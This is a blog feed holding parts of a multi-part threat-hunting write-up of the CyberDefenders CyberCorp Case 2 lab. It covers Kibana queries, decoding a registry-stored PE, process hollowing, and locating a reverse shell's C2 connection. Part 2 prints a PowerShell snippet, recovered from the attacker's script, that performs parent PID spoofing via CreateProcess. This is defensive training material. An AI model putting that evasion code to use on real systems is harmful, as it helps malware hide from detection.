&lt;p&gt;Decoding the base64 string would reveal a PowerShell script that has a hash that &lt;a href="https://www.virustotal.com/gui/file/f4a3fa10be15ad4414ce897a5d7fcd43d7a6f7b28855adbec76c545d72c87662/detection"&gt;VirusTotal flags as malicious&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-11" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-11.png" /&gt;&lt;/p&gt;
&lt;p&gt;This is a good indication that this PowerShell process is up to no good. Now we need to find out what other things this process did. The process has a PID of 4460, so plugging that into a query we get:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(proc_id:4460 OR proc_p_id:4460 OR proc_c_id:4460 OR proc_tgt_id:4460) AND dev_ipv4:192.168.184.100&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And these are the results:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-3-12" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-3-12.png" /&gt;&lt;/p&gt;
&lt;p&gt;Looking at the external IP that the process is connecting to, we could see that this is something new that we have not seen before. Thankfully, I had been making a list of all internal and external IPs that I came across during the challenge (Just shows the importance of writing down every information you come across!). Plugging this IP is our solution to this problem.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;There we have it. We've gone through and answered all 15 questions. Congratulations if you've made it this far!&lt;/p&gt;
&lt;p&gt;If you missed it, you could read &lt;a href="threat-hunting-from-home-cyber-corp-wmi-persistence"&gt;Part 1 here&lt;/a&gt; and &lt;a href="cyber-corp-case-2-writeup-part-2"&gt;Part 2 here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I hope that I was able to help you in understanding the process of solving this challenge. I had a lot of fun going through and writing about it. Again, thank you to &lt;a href="https://twitter.com/BlackMatter23"&gt;@BlackMatter23&lt;/a&gt; and the team for sharing this challenge and to &lt;a href="https://cyberdefenders.org/"&gt;CyberDefenders&lt;/a&gt; for hosting it.&lt;/p&gt;</content><category term="Threat Hunting"/><category term="threat-hunting"/><category term="cyberdefenders"/></entry><entry><title>Cyber Corp Case 2 Writeup - Part 2</title><link href="https://www.accidentalrebel.com/cyber-corp-case-2-writeup-part-2.html" rel="alternate"/><published>2021-11-03T12:00:00+08:00</published><updated>2021-11-03T12:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-11-03:/cyber-corp-case-2-writeup-part-2.html</id><summary type="html">&lt;p&gt;CyberCorp Case 2 part 2 — decoding a base64 gzipped registry payload, tracing PID spoofing in PowerShell, and identifying the reverse shell C2 IP.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;a href="https://cyberdefenders.org/labs/75"&gt;second case of the CyberCorp challenge&lt;/a&gt; on &lt;a href="https://cyberdefenders.org/"&gt;CyberDefenders.org&lt;/a&gt; is all about threat hunting. Created by &lt;a href="https://twitter.com/BlackMatter23"&gt;@BlackMatter23&lt;/a&gt; and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.&lt;/p&gt;
&lt;p&gt;This writeup is part 2 out of multiple parts. You could read &lt;a href="threat-hunting-from-home-cyber-corp-wmi-persistence"&gt;Part 1 here&lt;/a&gt; and &lt;a href="cyber-corp-case-2-writeup-part-3"&gt;Part 3 here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="checking-dns-requests"&gt;Checking DNS Requests&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 6. Specify the domain name of the resource from which the files mentioned in question 5 were supposedly downloaded as a result of malicious code execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one is easy. Using the same date range from the previous question, I changed the query to &lt;code&gt;event_type:DNSReq&lt;/code&gt; (where "DNSReq" is short for "DNS Requests").&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-01" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;We could easily see a DNS record being queried, which is our answer to this question.&lt;/p&gt;
&lt;h2 id="finding-the-encoded-executable-code"&gt;Finding the encoded executable code&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 7. The first file downloaded (as a result of executing the code in question 5) contained encoded executable code (PE), which after downloading was recorded in the registry. Specify an MD5 hash of the original representation of that code (PE).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I changed the query to &lt;code&gt;registry&lt;/code&gt; hoping to see what events it will give me. Surprisingly, the very first one seems to be what we need. &lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-02" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;Looking at this log I saw that it has a base64 encoded data under &lt;code&gt;reg_value_data&lt;/code&gt; which is partially listed below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;H4sIAAAAAAAEAO1YX0wcRRz+7XEUCuWOkhCJGl3IRiGpV...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I sent this data to &lt;a href="https://gchq.github.io/CyberChef"&gt;CyberChef&lt;/a&gt; for decoding. Thankfully the &lt;code&gt;rule_name&lt;/code&gt; field also informed me that the data is "gzipped", this allowed me to pick the correct recipes for decoding. The output is a malicious executable based on the &lt;code&gt;MZ&lt;/code&gt; "magic-number" at the beginning of the file.&lt;/p&gt;
&lt;p&gt;I downloaded the decoded data and then got the SHA256 hash of that file. This gave me the answer to the question.&lt;/p&gt;
&lt;h2 id="side-quest-investigating-the-malware"&gt;Side Quest: Investigating the malware&lt;/h2&gt;
&lt;p&gt;I wanted to learn more about the malicious executable from the previous question so I decided to reverse engineer it, even though it was not part of the challenge.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-03" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;Some interesting things about the file include the imported functions from kernel32 listed below:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-04" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;And also a string for &lt;code&gt;rundll32.exe&lt;/code&gt;. Looking for the usage of this string from within the code reveals this code segment:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-06" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-06.png" /&gt;&lt;/p&gt;
&lt;p&gt;Stepping through the code I was able to figure out that this executable is executing a process hollowing technique (&lt;a href="https://attack.mitre.org/techniques/T1055/012/"&gt;T1055.012&lt;/a&gt;). What it does is that it injects the code pointed to by &lt;code&gt;unk_180003000&lt;/code&gt; into &lt;code&gt;rundll32.exe&lt;/code&gt; and it would run that code instead of the original rundll32 code. You can find out more technical info about it &lt;a href="https://airbus-cyber-security.com/following-process-hollowing-ollydbg/"&gt;here&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;And of course, a screenshot of the technique using my visualization tool &lt;a href="https://github.com/accidentalrebel/vATTACK"&gt;vATT&amp;amp;Ck&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-13" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-13.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-second-downloaded-file"&gt;The second downloaded file&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 8. The second file downloaded (as a result of code execution, which we talked about in question 5) was a script, that was set up to autostart via WMI Subscription. Specify the SHA256 hash of this script.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I already knew of the script that is set to start via WMI subscription from a previous question, and that is &lt;code&gt;C:\\Users\\john.goldberg\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.ps1&lt;/code&gt;. So I immediately crafted my query to the one below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"MSO1033.ps1" AND event_type:FileCreate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While the above query shows events where the &lt;code&gt;MSO1033.ps1&lt;/code&gt; was being created. There was no associated hash in the logs. This forced me to look elsewhere by updating the query to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"MSO1033.ps1" AND (event_type:FileCreate OR event_type:FileOpen)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And from here it showed me an event associated with &lt;code&gt;MSO1033.ps1&lt;/code&gt; that also has a sha256 hash.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-07" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-07.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-most-difficult-question"&gt;The most difficult question&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 9. The script, mentioned in question 8, spawned one of the legitimate system processes and injected into its memory a malicious code that was read and decoded from the registry (this code was mentioned in question 7). This malicious code migrated through a chain of code injections to the address space of another legitimate process, where it continued to run without further migration.
For this answer, provide the next data, separated by a comma without spaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PID of the initial legitimate system process, which was spawned by the script and where this script launched in-memory execution of malicious code;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PID of the target process, to which malicious code migrated from the initial process and in the context of which attacker performed different post-exploitation activity&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Out of all the questions in this challenge, this is the question that took me a long time to figure out. The question has a lot of threads of information that it is easy to fall into a trap of chasing a lead that doesn't go anywhere. &lt;/p&gt;
&lt;p&gt;When all of my ideas were exhausted, I decided to give in and look for a hint. Thankfully, Vikas from the CyberDefender's Discord group shared one.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-08" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-08.png" /&gt;&lt;/p&gt;
&lt;p&gt;Initially the line "if you happen to see the PS script there are mentions of PID spoofing" did not immediately register with me, but after thinking about it some more I realized that it meant that the "PID spoofing" is written inside the script itself! This script is &lt;code&gt;MSO1033.ps1&lt;/code&gt; which was part of the previous questions.&lt;/p&gt;
&lt;p&gt;And so I updated my query with the one below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"MSO1033.ps1" AND event_type:ScriptExecution AND enrich.ioa.max_severity:*&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which showed the following results:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-09" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-09.png" /&gt;&lt;/p&gt;
&lt;p&gt;The reason why the following events are interesting is that they contain the script inside the &lt;code&gt;script_text&lt;/code&gt; value. Since the script is too long the events are split into 7 events as indicated by the &lt;code&gt;[1 of 7]&lt;/code&gt; in the description. I then copied all the &lt;code&gt;script_text&lt;/code&gt; entries and placed them into one file so I can easily review the code.&lt;/p&gt;
&lt;p&gt;The hint mentioned something about &lt;code&gt;pid spoofing&lt;/code&gt; so I searched for the word &lt;code&gt;spoof&lt;/code&gt; in the code and found this part right here.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="no"&gt;[int]&lt;/span&gt;&lt;span class="nv"&gt;$ppid&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Get-Process&lt;/span&gt; &lt;span class="n"&gt;-Name&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;winlogon&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Select &lt;/span&gt;&lt;span class="n"&gt;-expand&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;
&lt;span class="nv"&gt;$spawnTo&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;c:\Windows\System32\dwm.exe&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;$currdir&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;c:\Windows\System32&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;$cmdline&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;dwm.exe&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;$sInfo&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;StartupInfo&lt;/span&gt;
&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;STARTUPINFOEX&lt;/span&gt;
&lt;span class="nv"&gt;$pInfo&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;PROCESS_INFORMATION&lt;/span&gt;
&lt;span class="nv"&gt;$SecAttr&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;SECURITY_ATTRIBUTES&lt;/span&gt;
&lt;span class="nv"&gt;$SecAttr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nLength&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[System.Runtime.InteropServices.Marshal]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SizeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$SecAttr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$sInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[System.Runtime.InteropServices.Marshal]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SizeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$lpSize&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;
&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StartupInfo&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$sInfo&lt;/span&gt;
&lt;span class="nv"&gt;$hSpoofParent&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[Kernel32]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OpenProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;0x1fffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$ppid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$lpValue&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;
&lt;span class="nv"&gt;$lpValue&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[System.Runtime.InteropServices.Marshal]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AllocHGlobal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="no"&gt;[System.Runtime.InteropServices.Marshal]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WriteIntPtr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$lpValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$hSpoofParent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$result1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[Kernel32]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;InitializeProcThreadAttributeList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;[ref]&lt;/span&gt;&lt;span class="nv"&gt;$lpSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lpAttributeList&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[System.Runtime.InteropServices.Marshal]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AllocHGlobal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$lpSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$result1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[Kernel32]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;InitializeProcThreadAttributeList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lpAttributeList&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;[ref]&lt;/span&gt;&lt;span class="nv"&gt;$lpSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$result1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[Kernel32]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;UpdateProcThreadAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lpAttributeList&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                                 &lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                                 &lt;span class="n"&gt;0x00020000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                 &lt;span class="nv"&gt;$lpValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                                 &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                                 &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                                 &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="nv"&gt;$result1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="no"&gt;[Kernel32]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CreateProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$spawnTo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="nv"&gt;$cmdline&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="no"&gt;[ref]&lt;/span&gt;&lt;span class="nv"&gt;$SecAttr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="no"&gt;[ref]&lt;/span&gt;&lt;span class="nv"&gt;$SecAttr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="n"&gt;0x08080004&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                     &lt;span class="no"&gt;[IntPtr]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="nv"&gt;$currdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="no"&gt;[ref]&lt;/span&gt; &lt;span class="nv"&gt;$sInfoEx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                                     &lt;span class="no"&gt;[ref]&lt;/span&gt; &lt;span class="nv"&gt;$pInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Reading the code we could see a couple of interesting things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A call to &lt;code&gt;CreateProcess&lt;/code&gt; function with a reference to &lt;code&gt;$spawnTo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$spawnTo&lt;/code&gt; set to &lt;code&gt;c:\Windows\System32\dwm.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The line with &lt;code&gt;$hSpoofParent&lt;/code&gt; using the variable &lt;code&gt;$ppid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ppid&lt;/code&gt; is set to a process with the name &lt;code&gt;winlogon&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My research on the above findings pointed me to the Parent PID Spoofing technique (&lt;a href="https://attack.mitre.org/techniques/T1134/004/"&gt;T1134.004&lt;/a&gt;). This is used for evading detection by spoofing the PID to a different process. What is happening, in this case, is that &lt;code&gt;dwm.exe&lt;/code&gt; would now appear to be a child process of &lt;code&gt;winlogon.exe&lt;/code&gt; instead of the PowerShell script. Brilliant!&lt;/p&gt;
&lt;p&gt;Also, not shown in the snippet above, the registry key for &lt;code&gt;AppXs42fd12c3po92dynnq2r142fs12qhvsmvv&lt;/code&gt; is also read and decoded. This means that our executable file that contains the &lt;code&gt;rundll32.exe&lt;/code&gt; string is also involved in this. Later on, it will be revealed what this is for.&lt;/p&gt;
&lt;p&gt;Now that we know what the script does, we can now search for any mention of &lt;code&gt;winlogon.exe&lt;/code&gt; and &lt;code&gt;dwm.exe&lt;/code&gt; using the query below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(winlogon.exe OR dwm.exe) AND enrich.ioa.max_severity:* AND event_type:ProcessCreate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This, however, showed more than one result.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-10" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-10.png" /&gt;&lt;/p&gt;
&lt;p&gt;Which among these is the PID pair that the challenge author is looking for? &lt;/p&gt;
&lt;p&gt;Looking at all the multiple events, it seems that the script has been executed multiple times so it's hard to determine which is the correct event. All of them were executed successfully, but I found that only one of them was able to create the &lt;code&gt;rundll32.exe&lt;/code&gt; process.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-12" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-12.png" /&gt;&lt;/p&gt;
&lt;p&gt;The process id of the &lt;code&gt;dwm.exe&lt;/code&gt; in the screenshot above shows &lt;code&gt;8876&lt;/code&gt;. Using this information, we can go back to the previous query and find exactly which PID pairs that we need to answer the question.&lt;/p&gt;
&lt;h2 id="getting-the-malicious-ip"&gt;Getting the malicious IP&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 10. The malicious code run by the script is a Reverse Shell. Identify the IP address and port number of its command center.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Aha! So the malicious code that we inspected before, the one that does process hollowing, is now running inside &lt;code&gt;rundll32.exe&lt;/code&gt; and is running as a reverse shell! &lt;/p&gt;
&lt;p&gt;I already knew the process ID of our malicious &lt;code&gt;rundll32.exe&lt;/code&gt; so we include that in our query: &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;8344 AND event_type:NetworkConnection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This will reveal an event with the process chain of &lt;code&gt;dwm.exe&lt;/code&gt; &amp;gt; &lt;code&gt;rundll32.exe&lt;/code&gt; which also establishes a connection to an external IP. This is our answer to this question.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-2-11" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-2-11.png" /&gt;&lt;/p&gt;
&lt;h2 id="understanding-the-sequence-of-events"&gt;Understanding the sequence of events&lt;/h2&gt;
&lt;p&gt;For the benefit of everyone (including me), I have outlined the timeline of events below to serve as a reference just in case you get confused and overwhelmed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jun 22, 2021 @ 07:25:47.000 - WMI Subscription&lt;/li&gt;
&lt;li&gt;Jun 22, 2021 @ 07:41:15.000 - &lt;code&gt;MSO1033.ps1&lt;/code&gt; (7324) was executed&lt;/li&gt;
&lt;li&gt;Jun 22, 2021 @ 07:41:55.000 - &lt;code&gt;winlogon.exe&lt;/code&gt; (1160) is now the spoofed parent process of &lt;code&gt;dwm.exe&lt;/code&gt; (8876) instead of &lt;code&gt;MSO1033.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Jun 22, 2021 @ 07:41:56.000 - &lt;code&gt;dwm.exe&lt;/code&gt; (8876) creates the process &lt;code&gt;rundll32.exe&lt;/code&gt; (8344), which is hollowed out and now runs as a reverse shell&lt;/li&gt;
&lt;li&gt;Jun 22, 2021 @ 07:41:56.000 - &lt;code&gt;rundll32.exe&lt;/code&gt; (8344) establishes connection to malicious IP&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Hopefully, I was able to make everything clear. Expect the next part of this write-up very soon. &lt;/p&gt;
&lt;p&gt;The next couple of questions deals with lateral movement and interactions with the domain controller so it would be very interesting to go through my findings in detail.&lt;/p&gt;</content><category term="Threat Hunting"/><category term="threat-hunting"/><category term="cyberdefenders"/></entry><entry><title>Cyber Corp Case 2 Writeup - Part 1</title><link href="https://www.accidentalrebel.com/threat-hunting-from-home-cyber-corp-wmi-persistence.html" rel="alternate"/><published>2021-10-30T12:00:00+08:00</published><updated>2021-10-30T12:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-10-30:/threat-hunting-from-home-cyber-corp-wmi-persistence.html</id><summary type="html">&lt;p&gt;CyberCorp Case 2 threat hunting walkthrough — tracking WMI persistence, a malicious Word document, and a hidden iexproxy.dll download technique in Kibana.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;a href="https://cyberdefenders.org/labs/75"&gt;second case of the CyberCorp challenge&lt;/a&gt; on &lt;a href="https://cyberdefenders.org/"&gt;CyberDefenders.org&lt;/a&gt; is all about threat hunting. Created by &lt;a href="https://twitter.com/BlackMatter23"&gt;@BlackMatter23&lt;/a&gt; and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.&lt;/p&gt;
&lt;p&gt;This writeup is part one out of multiple parts as I will be detailing my thought process and the steps I took for each question.&lt;/p&gt;
&lt;p&gt;Edit: &lt;a href="cyber-corp-case-2-writeup-part-2"&gt;Part 2&lt;/a&gt; and &lt;a href="cyber-corp-case-2-writeup-part-3"&gt;Part 3&lt;/a&gt; is now out.&lt;/p&gt;
